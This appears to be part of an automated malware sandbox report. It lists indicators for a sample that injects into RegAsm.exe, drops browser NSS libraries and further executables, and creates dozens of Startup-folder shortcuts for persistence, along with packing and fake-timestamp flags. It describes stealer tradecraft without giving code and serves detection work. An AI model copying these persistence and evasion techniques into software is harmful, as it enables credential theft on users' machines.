Source: MFDBG_806ac2d45d5d4d61a32871595a0c8bc0.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_7f6a20923efc415d86b2aabbf2ff04a9.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_4a559acfb31948e5a56cac55d6896e24.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_8e9fcf0437cc4917963a2f129bac85f6.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1e59107beb5f429faf5de1e8258b0a38.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_5c442904acee4a5ba908e538689262d6.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_2f347956c6754f81bc051be0a4c0bb1b.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_13b73e127bdc44a5930c938fa1fc77e1.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c8a0ac06d84c4932976a633c0127b383.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_a09e8b29d0b94ca6adffee53b1a4df39.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_bafc4a94acbc4ef393d61b2e14e0b2aa.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_a8355d4b20d34289be110f352898fbf4.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_cfd6e741141644d3889916d0882a8b67.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_00ad15fe2f864b5b99bbc81d7541251f.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e6732c3d34c4434ab577f5e64b9359ff.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_df463de95cfc4ad6b1346b0de02f2218.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_6b8e72b01b094ba19259621d725f793e.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1a8709e4167c4839b7d3f49e2c618bc7.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_936109fd0d50419ab5426be7c0d4f5d0.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f8c4a12a97944dfd8117f7d0308895a5.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e11bd1d4941146a39db31ec8567536fa.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ece8984ee16a465d8880fd6e6da94f1b.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fdc67670ff6a4b218ed0a69524016ef0.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c0133a9a266c474bb15d0b59916863bd.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ed285fff72364bada87ca04536afc6d4.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fbce3ab8ad844b3987c030e282dd30fa.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e20b84685af747ee80c613d4d97e7e0d.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_4d5c968e54924feda01cd55a67afced6.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_90f167aee40e475f9dd4262f691badac.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_0c6462c6e24b4b43a78b2fc82968f9ee.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_3d15bced02634f538db4ebcb21b20d42.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_a3fa098697634d9ab04533a21a604762.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1d66a11277de4648ae88b2a3adc18f71.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_4799d32c96864483a1e7fc31fc1f989a.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_96601eaaba1b459989c2abf8d14136cc.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_d7677638331541c29d384b53f96550ee.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_5e3cad065ecc4bc889594baa48ab907c.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_d682292737b2404f98cb194cbf2d7a6c.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_682c9f35c053405d9c3e88346d744a81.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_58853713aeba4822bb2da71f7ba64889.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fd30e8814c1e478c99f0123a42860820.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c84a59c801344e36b1b454faf359f0ca.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ca6dfc71008f4746a0658b4d5bd44cf6.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_d38a6d2e704045e1a12ba9d6465e9cdc.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_703ee5c717db456ba95cadb661dc57b1.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f957bb9da74943bdb46330edfe5f9aa1.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_494d880ee33744e88ff8d364a6bc5245.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
Source: file.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: file.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: file.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source: Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source: Binary string: System.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.3294744618.00000000388F7000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.3264926366.000000002CA1E000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source: Binary string: mscorlib.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source: Binary string: \??\C:\Windows\System.pdb56 source: MFDBG.exe, 00000013.00000002.3310941819.0000000001317000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: rlib.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3310941819.0000000001358000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: MFDBG.exe, 00000013.00000002.3310941819.0000000001358000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbm source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: ws\mscorlib.pdb source: MFDBG.exe, 00000013.00000002.3225824440.0000000000DB8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: tem.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: mscorlib.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: tem.Core.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\mscorlib.pdb<qhq source: MFDBG.exe, 0000000E.00000002.3356008529.00000000004F8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: ZC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbkm source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.PDBxq source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: System.pdb4 source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: orlib.pdb source: MFDBG.exe, 00000013.00000002.3310941819.0000000001317000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdbk source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 00000000000000000400000000000000e.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: System.Core.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Binary contains a suspicious time stamp
Source: KKEBKJJDGH.exe.3.dr Static PE information: 0xF9147003 [Sun Jun 4 12:09:39 2102 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041891A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_0041891A
PE file contains an invalid checksum
Source: KKEBKJJDGH.exe.3.dr Static PE information: real checksum: 0x0 should be: 0xec97
Source: MFDBG.exe.7.dr Static PE information: real checksum: 0x0 should be: 0xec97
Source: EBGDHJECFC.exe.3.dr Static PE information: real checksum: 0x0 should be: 0x5cfad
Source: FDWDZ.exe.8.dr Static PE information: real checksum: 0x0 should be: 0xec97
Source: freebl3.dll.3.dr Static PE information: real checksum: 0xafdcb should be: 0x94690
Source: file.exe Static PE information: real checksum: 0x0 should be: 0x65529
Source: 66f424e80b9cc_idsmds[1].exe.3.dr Static PE information: real checksum: 0x0 should be: 0xec97
Source: 66f4247d51812_lfdsjna[1].exe.3.dr Static PE information: real checksum: 0x0 should be: 0x5cfad
PE file contains sections with non-standard names
Source: freebl3.dll.3.dr Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr Static PE information: section name: .didat
Source: softokn3.dll.3.dr Static PE information: section name: .00cfg
Source: nss3.dll.3.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042F112 push ecx; ret 3_2_0042F125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00422D09 push esi; ret 3_2_00422D0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041DD85 push ecx; ret 3_2_0041DD98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00432715 push 0000004Ch; iretd 3_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C17B536 push ecx; ret 3_2_6C17B549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00440466 push ds; ret 13_2_00440468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00416D75 push ebx; ret 13_2_00416D77
Source: file.exe Static PE information: section name: .text entropy: 7.996013819094471
Source: EBGDHJECFC.exe.3.dr Static PE information: section name: .text entropy: 7.995724440591308
Source: 66f4247d51812_lfdsjna[1].exe.3.dr Static PE information: section name: .text entropy: 7.995724440591308
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\EBGDHJECFC.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\ProgramData\KKEBKJJDGH.exe File created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f4247d51812_lfdsjna[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\KKEBKJJDGH.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\EBGDHJECFC.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\KKEBKJJDGH.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\ProgramData\KKEBKJJDGH.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87779c3eda7e4f0b90f03be30674b854.lnk Jump to behavior
Stores files to the Windows start menu directory
Source: C:\ProgramData\KKEBKJJDGH.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87779c3eda7e4f0b90f03be30674b854.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f24236f8b25a4e9a81d2ca710d1809b6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f5b4cde20c845038dcf777ca4e4e52f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4edd39da451f4f68a9959b3ce9274267.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ab4761927eb94698be41afc460dc5cbc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be8484b63e634cdcb2ce08c651739d26.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f066faed82d54fb3ac2dc041d211387f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_912b32319f464929b88178ad27931542.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_636e089d99994f76a06a167cade496c6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_303b5a69def94b789db4ec9c512c3795.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_efb9fd4e36c1408e8652770eb11d6d97.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cc5db3a0f8a24f979af728d5365609d8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bdefcc6f3d394b7daf45ac4210f5bc78.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e9d800f0607d4b6c8f9ecc231ff1eea0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5bdfc922218435dbc3b4c6f99f65f4c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_496a11f1d1c046808ab637b1f9a61271.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1ea440c531ab44b5898de033fb7e79bc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd83b9e0eb2b42e0add1555e4c6bb103.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_161be8eb5229421586ef616afec945ad.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b8d2f054d81466da9ef5c283746c445.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71fd9c32861a45c1b236dff5e1044f1a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ddbeed70c9244c1bba47bf6d0a71a84.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8267522f9bd942d4be804acfa38c0a33.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2f039d7e0e6f4b60b6bd34b56bb3aa63.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7788557f463461084769439b4c95751.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a96f8fc4f214c8396ca2d3ab4f70866.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_98096ab2cce34311adf1f7fe4617ab69.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9d9486ade251498f98c4249964219fca.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_26e8e0f7dfd64d628a4fe63b4623122f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd9a16a74f3b4674af31b2ca23b5aeef.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4dac9550957444a29c6e5616da41cbb2.lnk Jump to behavior
